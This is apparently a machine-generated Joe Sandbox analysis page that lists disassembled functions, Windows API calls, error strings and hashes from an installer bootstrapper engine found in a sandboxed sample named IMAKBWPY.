Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCompareOpenString
String ID: Failed to enumerate uninstall key for related bundles.$Failed to open uninstall registry key.$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 2817536665-2531018330
Opcode ID: 006f89c29470b84cfbefb2348607c3dac7e659a20c19ffeb162dcaf724dee95e
Instruction ID: 64ebf2aa156b86175c35deadedb2234e3c40d54bdacce9d0ee60c3c96aebd53c
Opcode Fuzzy Hash: 006f89c29470b84cfbefb2348607c3dac7e659a20c19ffeb162dcaf724dee95e
Instruction Fuzzy Hash: 6A21A332D1022CFFDB12BA94CC4AFAFBA69EB40721F244668F51077061DB754E90E691

Function 009CD259 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

WaitForSingleObject.KERNEL32(?,000000FF), ref: 009CD2EE
ReleaseMutex.KERNEL32(?), ref: 009CD31C
SetEvent.KERNEL32(?), ref: 009CD325

Strings

NetFxChainer.cpp, xrefs: 009CD293
Failed to allocate buffer., xrefs: 009CD29D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateEventMutexObjectProcessReleaseSingleWait
String ID: Failed to allocate buffer.$NetFxChainer.cpp
API String ID: 944053411-3611226795
Opcode ID: eb02677367e1442208b6f05d6d754522147971bd58c86fe8251d2881981d4e9b
Instruction ID: d43d2c6a90f7101b6751148e4715aa387c7d033ddc5735556087fca5d7fc5e57
Opcode Fuzzy Hash: eb02677367e1442208b6f05d6d754522147971bd58c86fe8251d2881981d4e9b
Instruction Fuzzy Hash: FF21B170A0024ABFDB109F68D884F59B7F5FF48320F108629F964AB351C371AD508B91

Function 009E5907 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

QueryServiceConfigW.ADVAPI32(00000000,00000000,00000000,?,00000001,00000000,?,?,009C6B11,00000000,?), ref: 009E591D
GetLastError.KERNEL32(?,?,009C6B11,00000000,?,?,?,?,?,?,?,?,?,009C6F28,?,?), ref: 009E592B

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

QueryServiceConfigW.ADVAPI32(00000000,00000000,?,?,?,00000001,?,?,009C6B11,00000000,?), ref: 009E5965
GetLastError.KERNEL32(?,?,009C6B11,00000000,?,?,?,?,?,?,?,?,?,009C6F28,?,?), ref: 009E596F

Strings

svcutil.cpp, xrefs: 009E594E, 009E5990

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ConfigErrorHeapLastQueryService$AllocateProcess
String ID: svcutil.cpp
API String ID: 355237494-1746323212
Opcode ID: b2d3e0afe3a2f9976271f6a87c22c6d12b0c233f3dcbedd0c424d5549d602388
Instruction ID: a0275f9e149b83bd899e5445ea587b2fefda5d7c80bdc51b59afd30f0463c8cc
Opcode Fuzzy Hash: b2d3e0afe3a2f9976271f6a87c22c6d12b0c233f3dcbedd0c424d5549d602388
Instruction Fuzzy Hash: 5821F636951679F7D73256978C04BDF7A6DAB41B74F534011FD04AB242E724CE0092E0

Function 009E3245 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 009E3258
VariantInit.OLEAUT32(?), ref: 009E3264
VariantClear.OLEAUT32(?), ref: 009E32D8
SysFreeString.OLEAUT32(00000000), ref: 009E32E3

Part of subcall function 009E3498: SysAllocString.OLEAUT32(?), ref: 009E34AD

Strings

`<u, xrefs: 009E32E3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$AllocVariant$ClearFreeInit
String ID: `<u
API String ID: 347726874-3367579956
Opcode ID: a53bfac955bc8b7d28c96424d38287e518aec22ef868dee200e7fdfd55060728
Instruction ID: 70692fed39c6ffabf45df66c96963a0c3fc939ec1299f4081cb07db80b4a25e9
Opcode Fuzzy Hash: a53bfac955bc8b7d28c96424d38287e518aec22ef868dee200e7fdfd55060728
Instruction Fuzzy Hash: B6214C31A0125AAFCB16DFA5C89CEAFBBB9EF48715F108158E9119B320D7319E05CB90

Function 009A9839 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCMT ref: 009A98C8

Strings

condition.cpp, xrefs: 009A986A, 009A98AB
Failed to parse condition '%ls' at position: %u, xrefs: 009A987A
Failed to find variable., xrefs: 009A98B5
Failed to read next symbol., xrefs: 009A98E4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: _memcpy_s
String ID: Failed to find variable.$Failed to parse condition '%ls' at position: %u$Failed to read next symbol.$condition.cpp
API String ID: 2001391462-1605196437
Opcode ID: 65282eafca51567f983356716bbfc13b221357e936bef517047370d5fcc2044e
Instruction ID: 87a9d4636e41b4bba3c275cf2fc58129480a92a5b8b957e76e36771707f939d9
Opcode Fuzzy Hash: 65282eafca51567f983356716bbfc13b221357e936bef517047370d5fcc2044e
Instruction Fuzzy Hash: D21127321802247AEF262DAD9C8AE9A3A58FF87720F044010F9106E2D2C6AACD1083E0

Function 009A9E16 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009A9E38

Strings

Failed to set variable., xrefs: 009A9E97
Failed get file version., xrefs: 009A9E78
File search: %ls, did not find path: %ls, xrefs: 009A9EA3
Failed to format path string., xrefs: 009A9E43

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open@16
String ID: Failed get file version.$Failed to format path string.$Failed to set variable.$File search: %ls, did not find path: %ls
API String ID: 3613110473-2458530209
Opcode ID: 18ab97fd35d35a4ba730eba5a8c72bd4900d8ae9165774b278e580b219af30e2
Instruction ID: 4db9c79f84ec3e3a6f5131832b99887e13363ba280288f1549c2ad8b3098631c
Opcode Fuzzy Hash: 18ab97fd35d35a4ba730eba5a8c72bd4900d8ae9165774b278e580b219af30e2
Instruction Fuzzy Hash: CB11D332D40169BBCF13AE998C429AEFB78FF95754F204166FD1466212D6325E5097C0

Function 009B820F Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

CreateWellKnownSid.ADVAPI32(00000000,00000000,00000000,00000000,00000044,00000001,00000000,00000000,?,?,009B8E17,0000001A,00000000,?,00000000,00000000), ref: 009B8258
GetLastError.KERNEL32(?,?,009B8E17,0000001A,00000000,?,00000000,00000000,?,?,00000000), ref: 009B8262

Strings

Failed to allocate memory for well known SID., xrefs: 009B8240
Failed to create well known SID., xrefs: 009B8290
cache.cpp, xrefs: 009B8236, 009B8286

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateCreateErrorKnownLastProcessWell
String ID: Failed to allocate memory for well known SID.$Failed to create well known SID.$cache.cpp
API String ID: 2186923214-2110050797
Opcode ID: d577d4e9da667e12007cc107b992988c3497e181b503f752c4f43b3a54568620
Instruction ID: 8057a0b7d51dbd785046424ea7efed1f3568b64ca749a48222c830c45e04ed63
Opcode Fuzzy Hash: d577d4e9da667e12007cc107b992988c3497e181b503f752c4f43b3a54568620
Instruction Fuzzy Hash: 76010C33555A35B7D63166D94D06FAB7A5DDFC5BB0B114016FE24BB241EE748D00C2E0

Function 009CDDA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000003E8,000004FF), ref: 009CDDCE
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 009CDDF8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,009CDFC8,00000000,?,?,?,?,00000000), ref: 009CDE00

Strings

Failed while waiting for download., xrefs: 009CDE2E
bitsengine.cpp, xrefs: 009CDE24

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastMessageMultipleObjectsPeekWait
String ID: Failed while waiting for download.$bitsengine.cpp
API String ID: 435350009-228655868
Opcode ID: f179a545be99f1525ccab0fdd4c0989774973da48c10747da001ff31af12aabb
Instruction ID: 5a7b3f137dde321ce8c86e960b763e6b94c32719ee2401276152c994b0ea1c3c
Opcode Fuzzy Hash: f179a545be99f1525ccab0fdd4c0989774973da48c10747da001ff31af12aabb
Instruction Fuzzy Hash: 4B11C673E4623577D7205AA99C49FABBA9CEB05761F000139FE05FB1C1D6649D0081E5

Function 009A5F2E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

GetComputerNameW.KERNEL32(?,00000010), ref: 009A5F5C
GetLastError.KERNEL32 ref: 009A5F66

Strings

Failed to get computer name., xrefs: 009A5F94
Failed to set variant value., xrefs: 009A5FAD
variable.cpp, xrefs: 009A5F8A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ComputerErrorLastName
String ID: Failed to get computer name.$Failed to set variant value.$variable.cpp
API String ID: 3560734967-484636765
Opcode ID: f7a2c7eb91932cd3de5610a0997bb7bdda029f058f8ed3fe7f4f1d352f9e2e17
Instruction ID: 0569e20840bb2bf9c51ffb80ad2a570120e219ed91dad8446d799ed1fc55276c
Opcode Fuzzy Hash: f7a2c7eb91932cd3de5610a0997bb7bdda029f058f8ed3fe7f4f1d352f9e2e17
Instruction Fuzzy Hash: 6F11E933B45568AFC721DAA59C05BDEB7E8AB49720F120016FD00FB280DA75AE0486E1

Function 009A67AA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 009A67E3
GetLastError.KERNEL32 ref: 009A67ED

Strings

Failed to get temp path., xrefs: 009A681B
Failed to set variant value., xrefs: 009A6837
variable.cpp, xrefs: 009A6811

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastPathTemp
String ID: Failed to get temp path.$Failed to set variant value.$variable.cpp
API String ID: 1238063741-2915113195
Opcode ID: b2d74e06dd33329059d8286f08156a255c211f9ffe8e6d1521576c37e854dacd
Instruction ID: a20f42a9909784adc5f5829dcdca50447e89fa8c4740780134e28cbb4d02f606
Opcode Fuzzy Hash: b2d74e06dd33329059d8286f08156a255c211f9ffe8e6d1521576c37e854dacd
Instruction Fuzzy Hash: 14014972E41339A7D721EB985C06FAE739C9F41B10F110165FE14FB2C2EB68AD0086D1

Function 009A5E94 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 56COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?), ref: 009A5EA6

Part of subcall function 009E0ACC: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process,?,?,?,009A5EB2,00000000), ref: 009E0AE0
Part of subcall function 009E0ACC: GetProcAddress.KERNEL32(00000000), ref: 009E0AE7
Part of subcall function 009E0ACC: GetLastError.KERNEL32(?,?,?,009A5EB2,00000000), ref: 009E0AFE

Part of subcall function 009E3D1F: SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 009E3D4C

Strings

Failed to set variant value., xrefs: 009A5F0A
Failed to get shell folder., xrefs: 009A5EDA
Failed to get 64-bit folder., xrefs: 009A5EF0
variable.cpp, xrefs: 009A5ED0

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressCurrentErrorFolderHandleLastModulePathProcProcess
String ID: Failed to get 64-bit folder.$Failed to get shell folder.$Failed to set variant value.$variable.cpp
API String ID: 2084161155-3906113122
Opcode ID: 8140f70f2e743907cd85a327a25a2f3c46e76e4e390d717df150474946b3dc20
Instruction ID: 8460472f2dc7af057c8ae03c0315d5cb34313e851b91ace663ae968739ed0920
Opcode Fuzzy Hash: 8140f70f2e743907cd85a327a25a2f3c46e76e4e390d717df150474946b3dc20
Instruction Fuzzy Hash: B701D632A4566CBBCF23A791CC0AFAE7A6CAF41724F214151F800BA181DB749E40D7D1

Function 009E4153 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E4440: FindFirstFileW.KERNEL32(009C923A,?,00000100,00000000,00000000), ref: 009E447B
Part of subcall function 009E4440: FindClose.KERNEL32(00000000), ref: 009E4487

SetFileAttributesW.KERNEL32(009C923A,00000080,00000000,009C923A,000000FF,00000000,?,?,009C923A), ref: 009E4182
GetLastError.KERNEL32(?,?,009C923A), ref: 009E418C
DeleteFileW.KERNEL32(009C923A,00000000,009C923A,000000FF,00000000,?,?,009C923A), ref: 009E41AC
GetLastError.KERNEL32(?,?,009C923A), ref: 009E41B6

Strings

fileutil.cpp, xrefs: 009E41D1

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: File$ErrorFindLast$AttributesCloseDeleteFirst
String ID: fileutil.cpp
API String ID: 3967264933-2967768451
Opcode ID: e928e40a6dec3d83d4ac41f66afde609bd8388aba17a18fc9949ab1cf0905ed2
Instruction ID: 9431f2a0c78f7bf0143093ddb8e58930f94ba13fabbf76f9ba92eab3e8cfc4e1
Opcode Fuzzy Hash: e928e40a6dec3d83d4ac41f66afde609bd8388aba17a18fc9949ab1cf0905ed2
Instruction Fuzzy Hash: 36014533A492B9A7DF330AAB8C44B5B7E9CAF307A2F010610FD04EA1D0D320CD80A1D0

Function 009CDA05 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 009CDA1A
LeaveCriticalSection.KERNEL32(?), ref: 009CDA5F
SetEvent.KERNEL32(?,?,?,?), ref: 009CDA73

Strings

Failure while sending progress during BITS job modification., xrefs: 009CDA4E
Failed to get state during job modification., xrefs: 009CDA33

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: Failed to get state during job modification.$Failure while sending progress during BITS job modification.
API String ID: 3094578987-1258544340
Opcode ID: f5a5b3fc3bf48cf887d713597217aa0c9769ea7cd4d53da2b1ac986f5a912fd6
Instruction ID: 9d98463f56817ac021b8f961b39c1c0698c38767a2916dae3c6a48b2ceb3e22a
Opcode Fuzzy Hash: f5a5b3fc3bf48cf887d713597217aa0c9769ea7cd4d53da2b1ac986f5a912fd6
Instruction Fuzzy Hash: A1019E72A0A629BBCB11DB55D899FAEB7ACFF54331B004269E905D7640DB30EE04CAD1

Function 009CDC7E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000008,?,00000000,00000000,00000000,?,009CDDEE), ref: 009CDC92
LeaveCriticalSection.KERNEL32(00000008,?,009CDDEE), ref: 009CDCD7
SetEvent.KERNEL32(?,?,009CDDEE), ref: 009CDCEB

Strings

Failure while sending progress., xrefs: 009CDCC6
Failed to get BITS job state., xrefs: 009CDCAB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: Failed to get BITS job state.$Failure while sending progress.
API String ID: 3094578987-2876445054
Opcode ID: 19d080c6d418254ec7600c1eb0b017cac5774b924bf730debe963cfe1df0a774
Instruction ID: 846ca815618b09f92cc816625a6d6374d1acb49593d14a6f00aeac101ff95a2a
Opcode Fuzzy Hash: 19d080c6d418254ec7600c1eb0b017cac5774b924bf730debe963cfe1df0a774
Instruction Fuzzy Hash: A801F172E06729BBCB169B45D889EABB7ACFF44320B00416AF90497650DBB0AD00CBD1

Function 009CD7E8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000008,00000000,00000000,?,009CDF52,?,?,?,?,?,?,00000000,00000000), ref: 009CD802
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,009CDF52,?,?,?,?,?,?,00000000,00000000), ref: 009CD80D
GetLastError.KERNEL32(?,009CDF52,?,?,?,?,?,?,00000000,00000000), ref: 009CD81A

Strings

Failed to create BITS job complete event., xrefs: 009CD848
bitsengine.cpp, xrefs: 009CD83E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateCriticalErrorEventInitializeLastSection
String ID: Failed to create BITS job complete event.$bitsengine.cpp
API String ID: 3069647169-3441864216
Opcode ID: 1d290daa30e952e48c8fc3319561d2ba915ac6f10ef1020ed0a6ebf1a68a03f7
Instruction ID: c8ff7b8f54f3760a52b65146ffe3cc65fc193a4d878ea26860961c0fad701719
Opcode Fuzzy Hash: 1d290daa30e952e48c8fc3319561d2ba915ac6f10ef1020ed0a6ebf1a68a03f7
Instruction Fuzzy Hash: 0F0192729116266BC3109B5AD845B47BFA8FF49770B00412AFE08E7640E7709800CBE5

Function 009AD4A8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000000D0,?,000000B8,00000000,?,009B7040,000000B8,00000000,?,00000000,75C0B390), ref: 009AD4B7
InterlockedCompareExchange.KERNEL32(000000E8,00000001,00000000), ref: 009AD4C6
LeaveCriticalSection.KERNEL32(000000D0,?,009B7040,000000B8,00000000,?,00000000,75C0B390), ref: 009AD4DB

Strings

userexperience.cpp, xrefs: 009AD4F4
Engine active cannot be changed because it was already in that state., xrefs: 009AD4FE

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$CompareEnterExchangeInterlockedLeave
String ID: Engine active cannot be changed because it was already in that state.$userexperience.cpp
API String ID: 3376869089-1544469594
Opcode ID: d496d38de3d33c1570e4748257812364e93de66cc63bfb4752f5250f8e5d4782
Instruction ID: b385f25f7ba9f35224d9aa4248017f80e9a67ff89e416ecb5f80583ea7edaa6b
Opcode Fuzzy Hash: d496d38de3d33c1570e4748257812364e93de66cc63bfb4752f5250f8e5d4782
Instruction Fuzzy Hash: C0F0AF32304348AF9B215EAADCC8D9777ACFBD6765300442AF612C7690DB74ED0587A0

Function 009E1C88 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(SRSetRestorePointW,srclient.dll), ref: 009E1CB3
GetLastError.KERNEL32(?,009A49DA,00000001,?,?,009A4551,?,?,?,?,009A5466,?,?,?,?), ref: 009E1CC2

Strings

srclient.dll, xrefs: 009E1C91
SRSetRestorePointW, xrefs: 009E1CA8
srputil.cpp, xrefs: 009E1CE3

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: SRSetRestorePointW$srclient.dll$srputil.cpp
API String ID: 199729137-398595594
Opcode ID: 17d0e6d8da43470b7702f8cc3fa5806feab436add3fd3df0ba1538e9b83e7e68
